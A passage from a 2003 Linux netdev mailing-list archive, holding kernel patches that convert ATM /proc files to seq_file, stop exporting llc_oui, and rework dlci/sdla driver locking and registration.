*priv) +{ + struct lec_arp_table *lec_misc_tables[] = { + priv->lec_arp_empty_ones, + priv->lec_no_forward, + priv->mcast_fwds + }; + void *v = NULL; + int q; + + for (q = state->misc_table; q < ARRAY_SIZE(lec_misc_tables); q++) { + v = lec_tbl_walk(state, lec_misc_tables[q], l); + if (v) + break; + } + state->misc_table = q; + return v; +} + +static void *lec_priv_walk(struct lec_state *state, loff_t *l, + struct lec_priv *priv) +{ + if (!state->locked) { + state->locked = priv; + spin_lock_irqsave(&priv->lec_arp_lock, state->flags); + } + if (!lec_arp_walk(state, l, priv) && + !lec_misc_walk(state, l, priv)) { + spin_unlock_irqrestore(&priv->lec_arp_lock, state->flags); + state->locked = NULL; + /* Partial state reset for the next time we get called */ + state->arp_table = state->misc_table = 0; + } + return state->locked; +} + +static void *lec_itf_walk(struct lec_state *state, loff_t *l) +{ + struct net_device *dev; + void *v; + + dev = state->dev ? state->dev : atm_lane_ops->get_lec(state->itf); + v = (dev && dev->priv) ? lec_priv_walk(state, l, dev->priv) : NULL; + if (!v && dev) { dev_put(dev); + /* Partial state reset for the next time we get called */ + dev = NULL; + } + state->dev = dev; + return v; +} + +static void *lec_get_idx(struct lec_state *state, loff_t l) +{ + void *v = NULL; + + for (; state->itf < MAX_LEC_ITF; state->itf++) { + v = lec_itf_walk(state, &l); + if (v) + break; + } + return v; +} + +static void *lec_seq_start(struct seq_file *seq, loff_t *pos) +{ + struct lec_state *state = seq->private; + + state->itf = 0; + state->dev = NULL; + state->locked = NULL; + state->arp_table = 0; + state->misc_table = 0; + state->entry = (void *)1; + + return *pos ? lec_get_idx(state, *pos) : (void*)1; +} + +static void lec_seq_stop(struct seq_file *seq, void *v) +{ + struct lec_state *state = seq->private; + + if (state->dev) { + spin_unlock_irqrestore(&state->locked->lec_arp_lock, + state->flags); + dev_put(state->dev); + } +} + +static void *lec_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct lec_state *state = seq->private; + + v = lec_get_idx(state, 1); + *pos += !!PTR_ERR(v); + return v; +} + +static int lec_seq_show(struct seq_file *seq, void *v) +{ + static char lec_banner[] = "Itf MAC ATM destination" + " Status Flags " + "VPI/VCI Recv VPI/VCI\n"; + + if (v == (void *)1) + seq_puts(seq, lec_banner); + else { + struct lec_state *state = seq->private; + struct net_device *dev = state->dev; + + seq_printf(seq, "%s ", dev->name); + lec_info(seq, state->entry); } - module_put(atm_lane_ops->owner); return 0; } -#endif +static struct seq_operations lec_seq_ops = { + .start = lec_seq_start, + .next = lec_seq_next, + .stop = lec_seq_stop, + .show = lec_seq_show, +}; + +static int lec_seq_open(struct inode *inode, struct file *file) +{ + struct lec_state *state; + struct seq_file *seq; + int rc = -EAGAIN; + + if (!try_atm_lane_ops()) + goto out; + + state = kmalloc(sizeof(*state), GFP_KERNEL); + if (!state) { + rc = -ENOMEM; + goto out; + } + + rc = seq_open(file, &lec_seq_ops); + if (rc) + goto out_kfree; + seq = file->private_data; + seq->private = state; +out: + return rc; +out_kfree: + kfree(state); + goto out; +} + +static int lec_seq_release(struct inode *inode, struct file *file) +{ + module_put(atm_lane_ops->owner); + return seq_release_private(inode, file); +} + +static struct file_operations lec_seq_fops = { + .open = lec_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = lec_seq_release, +}; + +#endif /* CONFIG_ATM_LANE */ static ssize_t proc_dev_atm_read(struct file *file,char *buf,size_t count, loff_t *pos) @@ -890,7 +1020,7 @@ int __init atm_proc_init(void) CREATE_SEQ_ENTRY(arp); #endif #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - CREATE_ENTRY(lec); + CREATE_SEQ_ENTRY(lec); #endif return 0; [ATM]: seq_file conversion of /proc/net/atm [8/8] (from romieu@fr.zoreil.com) - introduction of the struct array 'atm_proc_ents': - removal of code duplication in atm_proc_cleanup(); - removal of code duplication in atm_proc_init(); - removal of the macros CREATE_SEQ_ENTRY() and CREATE_ENTRY(); - /proc/net/atm/vcc returns to /proc/net/atm/vc; - credits at the top of the file; - replaced proc_dev_atm_operations by proc_atm_dev_ops; - atm_proc_dev_register: removal of tasteless "fail0/fail1" labels. net/atm/proc.c | 143 +++++++++++++++++++++++++-------------------------------- 1 files changed, 64 insertions(+), 79 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-post-conversion-removal net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-post-conversion-removal Sun Sep 7 00:36:05 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sun Sep 7 00:36:05 2003 @@ -1,21 +1,13 @@ -/* net/atm/proc.c - ATM /proc interface */ - -/* Written 1995-2000 by Werner Almesberger, EPFL LRC/ICA */ - -/* - * The mechanism used here isn't designed for speed but rather for convenience - * of implementation. We only return one entry per read system call, so we can - * be reasonably sure not to overrun the page and race conditions may lead to - * the addition or omission of some lines but never to any corruption of a - * line's internal structure. +/* net/atm/proc.c - ATM /proc interface + * + * Written 1995-2000 by Werner Almesberger, EPFL LRC/ICA * - * Making the whole thing slightly more efficient is left as an exercise to the - * reader. (Suggestions: wrapper which loops to get several entries per system - * call; or make --left slightly more clever to avoid O(n^2) characteristics.) - * I find it fast enough on my unloaded 266 MHz Pentium 2 :-) + * seq_file api usage by romieu@fr.zoreil.com + * + * Evaluating the efficiency of the whole thing if left as an exercise to + * the reader. */ - #include #include /* for EXPORT_SYMBOL */ #include @@ -52,19 +44,12 @@ static ssize_t proc_dev_atm_read(struct file *file,char *buf,size_t count, loff_t *pos); -static ssize_t proc_spec_atm_read(struct file *file,char *buf,size_t count, - loff_t *pos); -static struct file_operations proc_dev_atm_operations = { +static struct file_operations proc_atm_dev_ops = { .owner = THIS_MODULE, .read = proc_dev_atm_read, }; -static struct file_operations proc_spec_atm_operations = { - .owner = THIS_MODULE, - .read = proc_spec_atm_read, -}; - static void add_stats(struct seq_file *seq, const char *aal, const struct k_atm_aal_stats *stats) { @@ -903,28 +888,6 @@ } -static ssize_t proc_spec_atm_read(struct file *file,char *buf,size_t count, - loff_t *pos) -{ - unsigned long page; - int length; - int (*info)(loff_t,char *); - info = PDE(file->f_dentry->d_inode)->data; - - if (count == 0) return 0; - page = get_zeroed_page(GFP_KERNEL); - if (!page) return -ENOMEM; - length = (*info)(*pos,(char *) page); - if (length > count) length = -EINVAL; - if (length >= 0) { - if (copy_to_user(buf,(char *) page,length)) length = -EFAULT; - (*pos)++; - } - free_page(page); - return length; -} - - struct proc_dir_entry *atm_proc_root; EXPORT_SYMBOL(atm_proc_root); @@ -945,19 +908,19 @@ dev->proc_name = kmalloc(strlen(dev->type) + digits + 2, GFP_KERNEL); if (!dev->proc_name) - goto fail1; + goto err_out; sprintf(dev->proc_name,"%s:%d",dev->type, dev->number); dev->proc_entry = create_proc_entry(dev->proc_name, 0, atm_proc_root); if (!dev->proc_entry) - goto fail0; + goto err_free_name; dev->proc_entry->data = dev; - dev->proc_entry->proc_fops = &proc_dev_atm_operations; + dev->proc_entry->proc_fops = &proc_atm_dev_ops; dev->proc_entry->owner = THIS_MODULE; return 0; -fail0: +err_free_name: kfree(dev->proc_name); -fail1: +err_out: return error; } @@ -971,65 +934,65 @@ kfree(dev->proc_name); } -#define CREATE_SEQ_ENTRY(name) \ - do { \ - name = create_proc_entry(#name, S_IRUGO, atm_proc_root); \ - if (!name) \ - goto cleanup; \ - name->proc_fops = & name##_seq_fops; \ - name->owner = THIS_MODULE; \ - } while (0) - -#define CREATE_ENTRY(name) \ - name = create_proc_entry(#name,0,atm_proc_root); \ - if (!name) goto cleanup; \ - name->data = atm_##name##_info; \ - name->proc_fops = &proc_spec_atm_operations; \ - name->owner = THIS_MODULE - -static struct proc_dir_entry *devices = NULL, *pvc = NULL, - *svc = NULL, *arp = NULL, *lec = NULL, *vcc = NULL; - -static void atm_proc_cleanup(void) -{ - if (devices) - remove_proc_entry("devices",atm_proc_root); - if (pvc) - remove_proc_entry("pvc",atm_proc_root); - if (svc) - remove_proc_entry("svc",atm_proc_root); - if (arp) - remove_proc_entry("arp",atm_proc_root); - if (lec) - remove_proc_entry("lec",atm_proc_root); - if (vcc) - remove_proc_entry("vcc",atm_proc_root); - remove_proc_entry("net/atm",NULL); +static struct atm_proc_entry { + char *name; + struct file_operations *proc_fops; + struct proc_dir_entry *dirent; +} atm_proc_ents[] = { + { .name = "devices", .proc_fops = &devices_seq_fops }, + { .name = "pvc", .proc_fops = &pvc_seq_fops }, + { .name = "svc", .proc_fops = &svc_seq_fops }, + { .name = "vc", .proc_fops = &vcc_seq_fops }, +#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) + { .name = "arp", .proc_fops = &arp_seq_fops }, +#endif +#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) + { .name = "lec", .proc_fops = &lec_seq_fops }, +#endif + { .name = NULL, .proc_fops = NULL } +}; + +static void atm_proc_dirs_remove(void) +{ + static struct atm_proc_entry *e; + + for (e = atm_proc_ents; e->name; e++) { + if (e->dirent) + remove_proc_entry(e->name, atm_proc_root); + } + remove_proc_entry("net/atm", NULL); } int __init atm_proc_init(void) { + static struct atm_proc_entry *e; + int ret; + atm_proc_root = proc_mkdir("net/atm",NULL); if (!atm_proc_root) - return -ENOMEM; - CREATE_SEQ_ENTRY(devices); - CREATE_SEQ_ENTRY(pvc); - CREATE_SEQ_ENTRY(svc); - CREATE_SEQ_ENTRY(vcc); -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - CREATE_SEQ_ENTRY(arp); -#endif -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - CREATE_SEQ_ENTRY(lec); -#endif - return 0; + goto err_out; + for (e = atm_proc_ents; e->name; e++) { + struct proc_dir_entry *dirent; + + dirent = create_proc_entry(e->name, S_IRUGO, atm_proc_root); + if (!dirent) + goto err_out_remove; + dirent->proc_fops = e->proc_fops; + dirent->owner = THIS_MODULE; + e->dirent = dirent; + } + ret = 0; +out: + return ret; -cleanup: - atm_proc_cleanup(); - return -ENOMEM; +err_out_remove: + atm_proc_dirs_remove(); +err_out: + ret = -ENOMEM; + goto out; } -void atm_proc_exit(void) +void __exit atm_proc_exit(void) { - atm_proc_cleanup(); + atm_proc_dirs_remove(); } From chas@cmf.nrl.navy.mil Mon Sep 8 13:50:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 13:51:09 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88KoZx4024391 for ; Mon, 8 Sep 2003 13:50:36 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h88KoUSa003672; Mon, 8 Sep 2003 16:50:30 -0400 (EDT) Message-Id: <200309082050.h88KoUSa003672@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, mitch@sfgoth.com Subject: [PATCH][ATM] don't export llc_oui Reply-To: chas3@users.sourceforge.net Date: Mon, 08 Sep 2003 16:50:30 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5694 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 3256 Lines: 108 llc_oui[] is only used in two places. the overhead of exporting probably isnt worth the effort. please apply to 2.6. -- thanks! [ATM]: exporting llc_oui[] isn't worth it (from mitch@sfgoth.com) # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1423 -> 1.1424 # net/atm/ipcommon.c 1.2 -> 1.3 # net/sched/sch_atm.c 1.13 -> 1.14 # include/linux/atmclip.h 1.1 -> 1.2 # net/atm/clip.c 1.25 -> 1.26 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1424 # [ATM]: exporting llc_oui[] isn't worth it (from mitch@sfgoth.com) # -------------------------------------------- # diff -Nru a/include/linux/atmclip.h b/include/linux/atmclip.h --- a/include/linux/atmclip.h Mon Sep 8 16:38:01 2003 +++ b/include/linux/atmclip.h Mon Sep 8 16:38:01 2003 @@ -18,8 +18,4 @@ #define SIOCMKCLIP _IO('a',ATMIOC_CLIP) /* create IP interface */ -#ifdef __KERNEL__ -extern const unsigned char llc_oui[6]; -#endif - #endif diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Mon Sep 8 16:38:01 2003 +++ b/net/atm/clip.c Mon Sep 8 16:38:01 2003 @@ -193,6 +193,13 @@ return 0; } +static const unsigned char llc_oui[] = { + 0xaa, /* DSAP: non-ISO */ + 0xaa, /* SSAP: non-ISO */ + 0x03, /* Ctrl: Unnumbered Information Command PDU */ + 0x00, /* OUI: EtherType */ + 0x00, + 0x00 }; static void clip_push(struct atm_vcc *vcc,struct sk_buff *skb) { diff -Nru a/net/atm/ipcommon.c b/net/atm/ipcommon.c --- a/net/atm/ipcommon.c Mon Sep 8 16:38:01 2003 +++ b/net/atm/ipcommon.c Mon Sep 8 16:38:01 2003 @@ -22,15 +22,6 @@ #endif -const unsigned char llc_oui[] = { - 0xaa, /* DSAP: non-ISO */ - 0xaa, /* SSAP: non-ISO */ - 0x03, /* Ctrl: Unnumbered Information Command PDU */ - 0x00, /* OUI: EtherType */ - 0x00, - 0x00 }; - - /* * skb_migrate appends the list at "from" to "to", emptying "from" in the * process. skb_migrate is atomic with respect to all other skb operations on @@ -67,5 +58,4 @@ } -EXPORT_SYMBOL(llc_oui); EXPORT_SYMBOL(skb_migrate); diff -Nru a/net/sched/sch_atm.c b/net/sched/sch_atm.c --- a/net/sched/sch_atm.c Mon Sep 8 16:38:01 2003 +++ b/net/sched/sch_atm.c Mon Sep 8 16:38:01 2003 @@ -216,6 +216,13 @@ tasklet_schedule(&p->task); } +static const u8 llc_oui_ip[] = { + 0xaa, /* DSAP: non-ISO */ + 0xaa, /* SSAP: non-ISO */ + 0x03, /* Ctrl: Unnumbered Information Command PDU */ + 0x00, /* OUI: EtherType */ + 0x00, 0x00, + 0x08, 0x00 }; /* Ethertype IP (0800) */ static int atm_tc_change(struct Qdisc *sch, u32 classid, u32 parent, struct rtattr **tca, unsigned long *arg) @@ -322,11 +329,10 @@ flow->next = p->link.next; p->link.next = flow; flow->hdr_len = hdr_len; - if (hdr) memcpy(flow->hdr,hdr,hdr_len); - else { - memcpy(flow->hdr,llc_oui,sizeof(llc_oui)); - ((u16 *) flow->hdr)[3] = htons(ETH_P_IP); - } + if (hdr) + memcpy(flow->hdr,hdr,hdr_len); + else + memcpy(flow->hdr,llc_oui_ip,sizeof(llc_oui_ip)); *arg = (unsigned long) flow; return 0; err_out: From shemminger@osdl.org Mon Sep 8 14:15:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 14:15:22 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88LFIx4027214 for ; Mon, 8 Sep 2003 14:15:18 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88LFBo09423; Mon, 8 Sep 2003 14:15:11 -0700 Date: Mon, 8 Sep 2003 14:12:46 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (3/4) dlci locking and registration changes Message-Id: <20030908141246.5782437a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5697 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3485 Lines: 161 Change the locking for the dlci device list and registration. - use RTNL instead of a private lock (needed for net notifier in next patch). - reorder the checks in the dlci_add to avoid complicated unwinds - use dev->destructor to free - hold RTNL around deassoc to protect callback from races diff -Nru a/drivers/net/wan/dlci.c b/drivers/net/wan/dlci.c --- a/drivers/net/wan/dlci.c Mon Sep 8 14:02:46 2003 +++ b/drivers/net/wan/dlci.c Mon Sep 8 14:02:46 2003 @@ -58,7 +58,6 @@ static const char version[] = "DLCI driver v0.35, 4 Jan 1997, mike.mclagan@linux.org"; static LIST_HEAD(dlci_devs); -static spinlock_t dlci_dev_lock = SPIN_LOCK_UNLOCKED; static void dlci_setup(struct net_device *); @@ -360,34 +359,38 @@ struct net_device *master, *slave; struct dlci_local *dlp; struct frad_local *flp; - int err; + int err = -EINVAL; /* validate slave device */ slave = dev_get_by_name(dlci->devname); if (!slave) - return(-ENODEV); + return -ENODEV; - if (slave->type != ARPHRD_FRAD) { - dev_put(slave); - return(-EINVAL); - } + if (slave->type != ARPHRD_FRAD || slave->priv == NULL) + goto err1; /* create device name */ master = alloc_netdev( sizeof(struct dlci_local), "dlci%d", dlci_setup); if (!master) { - dev_put(slave); - return(-ENOMEM); + err = -ENOMEM; + goto err1; } - err = register_netdev(master); - if (err < 0) { - dev_put(slave); - kfree(master); - return(err); + /* make sure same slave not already registered */ + rtnl_lock(); + list_for_each_entry(dlp, &dlci_devs, list) { + if (dlp->slave == slave) { + err = -EBUSY; + goto err2; + } } + err = dev_alloc_name(master, master->name); + if (err < 0) + goto err2; + *(short *)(master->dev_addr) = dlci->dlci; dlp = (struct dlci_local *) master->priv; @@ -395,22 +398,27 @@ dlp->master = master; flp = slave->priv; - err = flp ? (*flp->assoc)(slave, master) : -EINVAL; + err = (*flp->assoc)(slave, master); if (err < 0) - { - unregister_netdev(master); - dev_put(slave); - free_netdev(master); - return(err); - } + goto err2; + + err = register_netdevice(master); + if (err < 0) + goto err2; strcpy(dlci->devname, master->name); - spin_lock_bh(&dlci_dev_lock); list_add(&dlp->list, &dlci_devs); - spin_unlock_bh(&dlci_dev_lock); + rtnl_unlock(); return(0); + + err2: + rtnl_unlock(); + kfree(master); + err1: + dev_put(slave); + return(err); } static int dlci_del(struct dlci_add *dlci) @@ -433,21 +441,18 @@ slave = dlp->slave; flp = slave->priv; + rtnl_lock(); err = (*flp->deassoc)(slave, master); - if (err) - return(err); - + if (!err) { + list_del(&dlp->list); - spin_lock_bh(&dlci_dev_lock); - list_del(&dlp->list); - spin_unlock_bh(&dlci_dev_lock); + unregister_netdevice(master); - unregister_netdev(master); - - dev_put(slave); - free_netdev(master); + dev_put(slave); + } + rtnl_unlock(); - return(0); + return(err); } static int dlci_ioctl(unsigned int cmd, void *arg) @@ -494,6 +499,7 @@ dev->hard_header = dlci_header; dev->get_stats = dlci_get_stats; dev->change_mtu = dlci_change_mtu; + dev->destructor = free_netdev; dlp->receive = dlci_receive; @@ -518,12 +524,12 @@ dlci_ioctl_set(NULL); + rtnl_lock(); list_for_each_entry_safe(dlp, nxt, &dlci_devs, list) { - unregister_netdev(dlp->master); + unregister_netdevice(dlp->master); dev_put(dlp->slave); - free_netdev(dlp->master); } - + rtnl_unlock(); } module_init(init_dlci); From shemminger@osdl.org Mon Sep 8 14:15:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 14:15:23 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88LFIx4027215 for ; Mon, 8 Sep 2003 14:15:18 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88LFAo09419; Mon, 8 Sep 2003 14:15:10 -0700 Date: Mon, 8 Sep 2003 14:09:22 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (2/4) get rid of register_frad Message-Id: <20030908140922.21f8faec.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5698 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3979 Lines: 162 The sdla and dlci drivers have a callback interface which only stores a name in a table, but doesn't do anything useful. Looks like an interface which has lost it's usefulness and can be safely removed. Tested on 2.6.0-test5 by exercising the higher layer (dlci) without real hardware. diff -Nru a/drivers/net/wan/dlci.c b/drivers/net/wan/dlci.c --- a/drivers/net/wan/dlci.c Mon Sep 8 14:01:46 2003 +++ b/drivers/net/wan/dlci.c Mon Sep 8 14:01:46 2003 @@ -59,63 +59,9 @@ static LIST_HEAD(dlci_devs); static spinlock_t dlci_dev_lock = SPIN_LOCK_UNLOCKED; -static char *basename[16]; static void dlci_setup(struct net_device *); -/* allow FRAD's to register their name as a valid FRAD */ -int register_frad(const char *name) -{ - int i; - - if (!name) - return(-EINVAL); - - for (i=0;idevname, basename[i], strlen(basename[i])) == 0) && - (strlen(dlci->devname) > strlen(basename[i]))) - break; - - if (i == sizeof(basename) / sizeof(char *)) { - dev_put(slave); - return(-EINVAL); - } - /* create device name */ master = alloc_netdev( sizeof(struct dlci_local), "dlci%d", dlci_setup); @@ -571,13 +505,9 @@ int __init init_dlci(void) { - int i; dlci_ioctl_set(dlci_ioctl); printk("%s.\n", version); - - for(i=0;ipriv; del_timer_sync(&flp->timer); free_netdev(sdla); - - unregister_frad(devname); } MODULE_LICENSE("GPL"); diff -Nru a/include/linux/if_frad.h b/include/linux/if_frad.h --- a/include/linux/if_frad.h Mon Sep 8 14:01:46 2003 +++ b/include/linux/if_frad.h Mon Sep 8 14:01:46 2003 @@ -191,9 +191,6 @@ int buffer; /* current buffer for S508 firmware */ }; -int register_frad(const char *name); -int unregister_frad(const char *name); - extern void dlci_ioctl_set(int (*hook)(unsigned int, void *)); #endif /* __KERNEL__ */ From shemminger@osdl.org Mon Sep 8 14:15:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 14:15:20 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88LF2x4027195 for ; Mon, 8 Sep 2003 14:15:15 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88LEto09230; Mon, 8 Sep 2003 14:14:55 -0700 Date: Mon, 8 Sep 2003 14:14:39 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (1/4) sdla - move out of Space.c Message-Id: <20030908141439.2e41b516.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5696 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3246 Lines: 148 Patch against 2.60-test5 to move sdla driver out of Space.c for initialization in non-module case. Since this driver doesn't come up until the device has been configured with an ioctl (set_config); there is no way it can have startup order problems. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Mon Sep 8 14:01:25 2003 +++ b/drivers/net/Space.c Mon Sep 8 14:01:25 2003 @@ -97,7 +97,6 @@ extern int mac8390_probe(struct net_device *dev); extern int mac89x0_probe(struct net_device *dev); extern int mc32_probe(struct net_device *dev); -extern struct net_device *sdla_init(void); extern struct net_device *cops_probe(int unit); extern struct net_device *ltpc_probe(void); @@ -470,10 +469,6 @@ #ifdef CONFIG_LTPC ltpc_probe(); #endif -#ifdef CONFIG_SDLA - sdla_init(); -#endif - } /* diff -Nru a/drivers/net/wan/sdla.c b/drivers/net/wan/sdla.c --- a/drivers/net/wan/sdla.c Mon Sep 8 14:01:25 2003 +++ b/drivers/net/wan/sdla.c Mon Sep 8 14:01:25 2003 @@ -1626,41 +1626,16 @@ static void setup_sdla(struct net_device *dev) { + struct frad_local *flp = dev->priv; + + netdev_boot_setup_check(dev); + + SET_MODULE_OWNER(dev); dev->flags = 0; dev->type = 0xFFFF; dev->hard_header_len = 0; dev->addr_len = 0; dev->mtu = SDLA_MAX_MTU; -} - -static int frad_registered; - -struct net_device * __init sdla_init(void) -{ - struct net_device *dev; - struct frad_local *flp; - int err = -ENOMEM; - - if (!frad_registered) { - err = register_frad(devname); - if (err) { - printk(KERN_ERR "%s: frad registration failed %d\n", - devname, err); - return ERR_PTR(err); - } - frad_registered = 1; - printk("%s.\n", version); - } - - - dev = alloc_netdev(sizeof(struct frad_local), "sdla0", setup_sdla); - if (!dev) - goto out; - - SET_MODULE_OWNER(dev); - netdev_boot_setup_check(dev); - - flp = dev->priv; dev->open = sdla_open; dev->stop = sdla_close; @@ -1680,42 +1655,44 @@ flp->timer.expires = 1; flp->timer.data = (unsigned long) dev; flp->timer.function = sdla_poll; - - err = register_netdev(dev); - if (err) - goto out1; - return dev; -out1: - kfree(dev); -out: - return ERR_PTR(err); } -#ifdef MODULE -static struct net_device *sdla0; +static struct net_device *sdla; static int __init init_sdla(void) { - int result = 0; + int err; + + printk("%s.\n", version); + err = register_frad(devname); + if (err) { + printk(KERN_ERR "%s: frad registration failed %d\n", + devname, err); + return err; + } - sdla0 = sdla_init(); - if (IS_ERR(sdla0)) - result = PTR_ERR(sdla0); + sdla = alloc_netdev(sizeof(struct frad_local), "sdla0", setup_sdla); + if (!sdla) + return -ENOMEM; + + err = register_netdev(sdla); + if (err) + kfree(sdla); - return result; + return err; } static void __exit exit_sdla(void) { struct frad_local *flp; - unregister_netdev(sdla0); - if (sdla0->irq) - free_irq(sdla0->irq, sdla0); + unregister_netdev(sdla); + if (sdla->irq) + free_irq(sdla->irq, sdla); - flp = sdla0->priv; + flp = sdla->priv; del_timer_sync(&flp->timer); - free_netdev(sdla0); + free_netdev(sdla); unregister_frad(devname); } @@ -1724,4 +1701,3 @@ module_init(init_sdla); module_exit(exit_sdla); -#endif From shemminger@osdl.org Mon Sep 8 14:15:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 14:15:20 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88LF9x4027207 for ; Mon, 8 Sep 2003 14:15:15 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88LF1o09276; Mon, 8 Sep 2003 14:15:01 -0700 Date: Mon, 8 Sep 2003 14:14:45 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (4/4) dlci netdevice event handling Message-Id: <20030908141445.5a5c0d42.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5695 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1316 Lines: 55 Since dlci device is a pseudo device built on top of sdla, change it to handle unregister events and delete itself. diff -Nru a/drivers/net/wan/dlci.c b/drivers/net/wan/dlci.c --- a/drivers/net/wan/dlci.c Mon Sep 8 14:03:04 2003 +++ b/drivers/net/wan/dlci.c Mon Sep 8 14:03:04 2003 @@ -509,20 +509,46 @@ } -int __init init_dlci(void) +/* if slave is unregistering, then cleanup master */ +static int dlci_dev_event(struct notifier_block *unused, + unsigned long event, void 